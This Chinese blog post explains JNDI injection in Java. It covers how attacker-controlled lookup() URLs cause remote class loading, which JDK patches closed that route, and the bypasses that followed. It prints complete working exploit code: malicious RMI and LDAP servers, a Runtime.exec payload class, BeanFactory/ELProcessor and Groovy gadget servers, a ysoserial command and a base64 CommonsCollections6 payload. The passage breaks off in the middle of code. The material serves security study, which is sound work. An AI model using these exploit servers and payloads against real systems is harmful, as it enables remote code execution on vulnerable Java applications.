Java JNDI注入原理研究 - 郑瀚Andrew
2023-10-19 16:12:0 Author: www.cnblogs.com(查看原文) 阅读量:19 收藏

JNDI是什么

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。

JNDI 提供统一的客户端 API,通过不同的JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的命令服务和目录服务,如下图。

协议作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

J2EE规范要求所有的J2EE容器都要提供JNDI规范的实现。JNDI就成为了J2EE组件在运行期间间接地查找其他组件、资源或服务的通用机制。JNDI在J2EE中主要角色就是提供间接层,这样组件可以发现所需资源,不用了解间接性。

JNDI解决了什么问题

没有JNDI之前,对于一个外部依赖,像Mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到Java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。有了JNDI后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数被外部攻击者可控,攻击者就可以将恶意的 url 传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。

一个简单的漏洞代码示例如下,

package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/Exploit";    // 指定查找的 uri 变量
        InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用
        initialContext.lookup(uri); // 获取指定的远程对象
    }
}

代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它。

服务端攻击代码,

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(1099);        // rmi监听端口
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");    // payload攻击载荷地址
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",wrapper);                               //rmi绑定服务名称
    }
}

我们深入到源码级别研究一下产生漏洞的原因。 先关注受攻击客户端。

InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。

InitialContext initialContext = new InitialContext(); // 初始化上下文,获取初始目录环境的一个引用

lookup(String name) 获取 name 的数据,这里的 uri 被定义为 rmi://127.0.0.1:1099/Exploit 所以会通过 rmi 协议访问 127.0.0.1:1099/Exploit

String uri = "rmi://127.0.0.1:1099/Exploit";    // 指定查找的 uri 变量
initialContext.lookup(uri); // 获取指定的远程对象

由于 lookup() 参数可控,导致漏洞的出现,跟进代码如下,

以LDAP为例,获得远程LDAPServer的Entry之后,跟进跟进com/sun/jndi/ldap/Obj.java#decodeObject,

按照该函数的注释来看,其主要功能是解码从LDAP Server来的对象,

  • 该对象可能是序列化的对象
  • 也可能是一个Reference对象

这里先分析Reference对象的处理流程。

当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

如果LDAP Server返回的属性里包括了 objectClass 和 javaNamingReference ,将进入Reference的处理函数decodeReference上。

decodeReference再从属性中提取出 javaClassName 和 javaFactory ,最后将生成一个Reference。这里生成的ref就是在RMI返回的那个ReferenceWrapper,后面这个ref将会传递给Naming Manager去处理,包括从codebase中获取class文件并载入。 

这里继续分析Serialized Object序列化对象的处理流程。 

在com/sun/jndi/ldap/Obj.java#decodeObject上还存在一个判断,

如果在返回的属性中存在 javaSerializedData ,将继续调用 deserializeObject 函数,该函数主要就是调用常规的反序列化方式readObject对序列化数据进行还原,如下payload。 

@Override protected void processAttribute(Entry entry){ entry.addAttribute("javaClassName", "foo"); entry.addAttribute("javaSerializedData", serialized); }

接下来分析服务端攻击代码所使用的Reference类,Reference 是一个抽象类,每个 Reference 都有一个指向的对象,对象指定类会被加载并实例化。

在上面服务端代码中,reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。

以上就是JNDI注入的基本原理(核心就是远程对象解析引发的对象重建过程带来的风险调用链问题),但是JNDI注入并没有这么简单,因为java在漫长的迭代生涯中一直在添加新的补丁特性,使得JNDI的利用越来越困难(主要是禁用了从远程加载Java对象),而同时安全研究员也在不断研究出新的绕过利用方式(主要是寻找本地gadgets)。 

这一章采用最基础的远程reference对象注入,本章中的代码将作为后续章节的基础。

JNDI+RMI 复现

漏洞利用过程归纳总结为:

由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServer 的 Registry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

1、项目代码编写

新建maven项目,

在 /src/java 目录下创建一个包,包名为 jndi_rmi_injection,

在创建的jndi_rmi_injection包下新建 rmi 服务端和客户端,

服务端(RMIService.java)代码,服务端是攻击者控制的服务器

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }
}

服务端端恶意载荷(Calculator.java)代码

package jndi_rmi_injection;

public class Calculator {
    public Calculator() throws Exception {
        Runtime.getRuntime().exec("open -a Calculator");
    }
}

笔者使用的是 mac 的环境,执行弹出计算器的命令为”open -a Calculator“,若为Windwos 修改为”calc“即可。

客户端(RMIClient.java)代码,客户端代表存在漏洞的受害端。

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
    public static void main(String[] args) throws NamingException{
        String uri = "rmi://127.0.0.1:7778/RCE";    // 实际场景中这个url是外部攻击者可控的,这里为了简化直接硬编码
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

2、启动RMI服务

将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,

在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致。

python3 -m http.server 8081

先运行攻击者可控的RMI服务端,用于接受来自己客户端的lookup请求,

3、启动包含lookup功能的客户端服务,即启动存在被漏洞利用风险的服务

运行客户端,模拟被攻击者JNDI注入过程,远程获取恶意类,并执行恶意类代码,实现弹窗。

JNDI+LDAP 复现

攻击者搭建LDAP服务器,需要导入unboundid依赖库。

在本项目根目录下创建/lib目录,用于放置本地依赖库,点击下载 unboundid-ldapsdk-3.2.0.jar,导入依赖即可,

LDAPServer.java 服务端代码,服务端是攻击者控制的服务器。

package jndi_rmi_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {
        String url = "http://127.0.0.1:8081/#Calculator";
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

客户端(LDAPClient.java)代码,客户端代表存在漏洞的受害端。

package jndi_rmi_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "ldap://127.0.0.1:1234/Calculator";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

HTTP 端恶意载荷(Calculator.java)代码和上一小节保持不变。

将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件,在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 LDAPServer.java 的 Reference 里面的链接端口一致。

先启动服务端,

再启动客户端。

JNDI+DNS 复现

通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。

为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

漏洞端代码

package jndi_ldap_injection;

import javax.naming.InitialContext;
import javax.naming.NamingException;


public class LDAPClient {
    public static void main(String[] args) throws NamingException{
        String url = "dns://192rzl.dnslog.cn";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }

}

填入 DNSLog 平台域名,或自己搭建的平台域名,执行程序。

参考链接:

https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://xz.aliyun.com/t/12277#toc-5
https://evilpan.com/2021/12/13/jndi-injection/#remote-class 

Java JNDI注入有很多种不同的利用载荷,而这些Payload分别会面临一些限制。 

我们来整理一下,关于jndi的相关安全更新:

  • JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false。导致jndi的rmi reference方式失效,但ldap的reference方式仍然可行
  • Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false。导致jndi的ldap reference方式失效,到这里为止,远程codebase的方式基本失效,除非认为设为true

在最新版的jdk8u上,jndi ldap的本地反序列化利用链 1 和 2 的方式仍然未失效,jndi rmi底层(JRMPListener) StreamRemoteCall 的本地利用方式仍未失效。所以如果Reference的方式不行的时候,可以试试利用本地ClassPath里的反序列化利用链来达成RCE。但前提是需要利用一个本地的反序列化利用链(如CommonsCollections、EL表达式等)。

我们接下来按照java版本的演进分别分析JNDI注入的方法。

在实验前,要准备好不同版本的jdk方便测试。

6u45/7u21之前/JDK版本低于1.8.0_191 

在这个版本之前,JNDI注入的利用条件是最宽松的,如果攻击者可以控制lookup()的返回内容,就可以很容易地把返回内容设置成一个远程Java对象下载地址,以此触发远程对象加载。

我们创建一个恶意的RMI服务器,并响应一个恶意的远程Java对象下载地址。编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上

package jndi_rmi_injection;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class RMIService {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }
}

我们创建了一个javax.naming.Reference的示例,把这个示例绑定到”/RCE“地址上,这个Export对象对目标服务器会从”http://127.0.0.1:8081/Calculator.class“这里获取字节码,从而触发1个RCE。

上面的代码在Java 8u121 Oracle添加RMI代码限制的前工作完美。之后,我们可以利用一个恶意的LDAP服务器响应相同信息,进行攻击。 

Java 8u121 Oracle添加的限制和Codebase机制有关。Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当RMI对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。

RMI客户端在 lookup() 的过程中,

  • 会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载
  • 然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象。远程Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件: 

http://url:8080/com/project/test.class

但是,从Java 8u121 Oracle后,rmi的trustURLCodebase默认设置为false,将禁用自动加载远程类文件,仅从CLASSPATH和当前VM的java.rmi.server.codebase 指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。 

Changelog:

  • JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
  • JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html

具体被阻断在于步骤4,如下图。

虽然rmi远程类加载默认被禁用了,但是在8u191之前,ldap的trustURLCodebase还是默认为true的。

LDAP目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),它提供了一种查询、浏览、搜索和修改互联网目录数据的机制,运行在TCP/IP协议栈之上,基于C/S架构。

Java对象在LDAP目录中也有多种存储形式:

  • Java序列化
  • JNDI Reference
  • Marshalled对象
  • Remote Location(已弃用)

LDAP可以为存储的Java对象指定多种属性:

  • javaCodeBase
  • objectClass
  • javaFactory
  • javaSerializedData

这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

package jndi_rmi_injection;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class LDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main (String[] args) {
        String url = "http://127.0.0.1:8081/#Calculator";
        int port = 1234;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }

        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。

这导致JNDI远程类加载问题被修复。自此也就意味着远程codebase的Reference方式被限制死了。

之后攻击者利用jndi注入主要是进行不信任数据的反序列化,利用门槛变高,要求系统中存在gadgetl类。 

JAVA 8u191之后

1、找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令

JAVA 8u191时,JNDI客户端在接受远程引用对象的时候,不使用classFactoryLoction,但是我们还是可以通过JavaFactory来指定一个任意的工厂类,这个类时用于从攻击者控制的Reference对象中提取真实的对象。

这个工厂类需要满足以下几个条件:

  • 真实对象要求必须存在目标系统的classpath
  • 工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且至少存在一个 getObjectInstance() 方法

接下来的问题就是,我们需要找到一个工厂类在classpath中,它对Reference的属性做了一些不安全的动作。 

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能,

  • org.apache.naming.factory.BeanFactory 默认存在于Tomcat依赖包中,所以使用也是非常广泛
  • org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的

配置jdk 8b192

org.apache.naming.factory.BeanFactory#getObjectInstance中,包含了一段利用反射创建bean的代码。

这里利用BeanFactory工厂类加载ELProcessor类,

取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且填充了一个string类型的参数作为method的反射调用,最后通过method名和一个string的参数拿到eval函数。

这里使用的魔性属性时“forceString", 通过设置“x=eval”,我们可以将x属性对应的setter设置成eval函数。

同时,Javax.el.ELProcessor类,存在一个eval方法,接收一个字符串,该字符串将表示要执行的Java表达式语言模板。 

ELProcessor_rmi_server.java服务端代码如下,服务端是攻击者控制的服务器。 

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class ELProcessor_rmi_server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "a=eval"));
            resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")"));
            //触发点在resourceRef的getObjectInstance()方法中
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

BeanFactory 创建了一个任意bean类实例并执行了它所有的setter函数。这个任意bean类的名字、属性、属性值都来自于Reference对象,外部完全可控。基本上相当于一个任意类后门了。 

除了el表达式之外还有groovy也可以,原理一样,代码如下。

package jndi_rmi_injection;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class ELProcessor_rmi_server {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.createRegistry(1098);
            ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
            ref.add(new StringRefAddr("forceString", "x=parseClass"));
            String script = "@groovy.transform.ASTTest(value={\n" +
                    "    assert java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")\n" +
                    "})\n" +
                    "def x\n";
            ref.add(new StringRefAddr("x",script));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("Exploit", referenceWrapper);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

maven配置好grovvy的包依赖,

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>JNDI_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.0.36</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-dbcp</artifactId>
            <version>8.0.36</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-jasper</artifactId>
            <version>8.0.36</version>
        </dependency>
        <dependency>
            <groupId>org.codehaus.groovy</groupId>
            <artifactId>groovy-all</artifactId>
            <version>2.4.9</version>
        </dependency>
        <dependency>
            <groupId>com.unboundid</groupId>
            <artifactId>unboundid-ldapsdk</artifactId>
            <version>4.0.0</version>
        </dependency>
    </dependencies>
</project>

View Code

2、从JNDI服务远程获取一个Java反序列化对象,利用反序列化Gadget完成命令执行

LDAP Server除了使用JNDI Reference进行利用之外,还支持直接返回一个对象的序列化数据。如果Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。

其中具体的处理代码如下:

if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { 
    ClassLoader cl = helper.getURLClassLoader(codebases);
    return deserializeObject((byte[])attr.get(), cl);
}

我们假设目标系统中存在着有漏洞的CommonsCollections库,使用ysoserial生成一个CommonsCollections的利用Payload:

下载链接 :https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app'|base64

rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACMvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4

LDAP Server关键代码如下,我们在javaSerializedData字段内填入刚刚生成的反序列化payload数据:

package jndi_rmi_injection;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
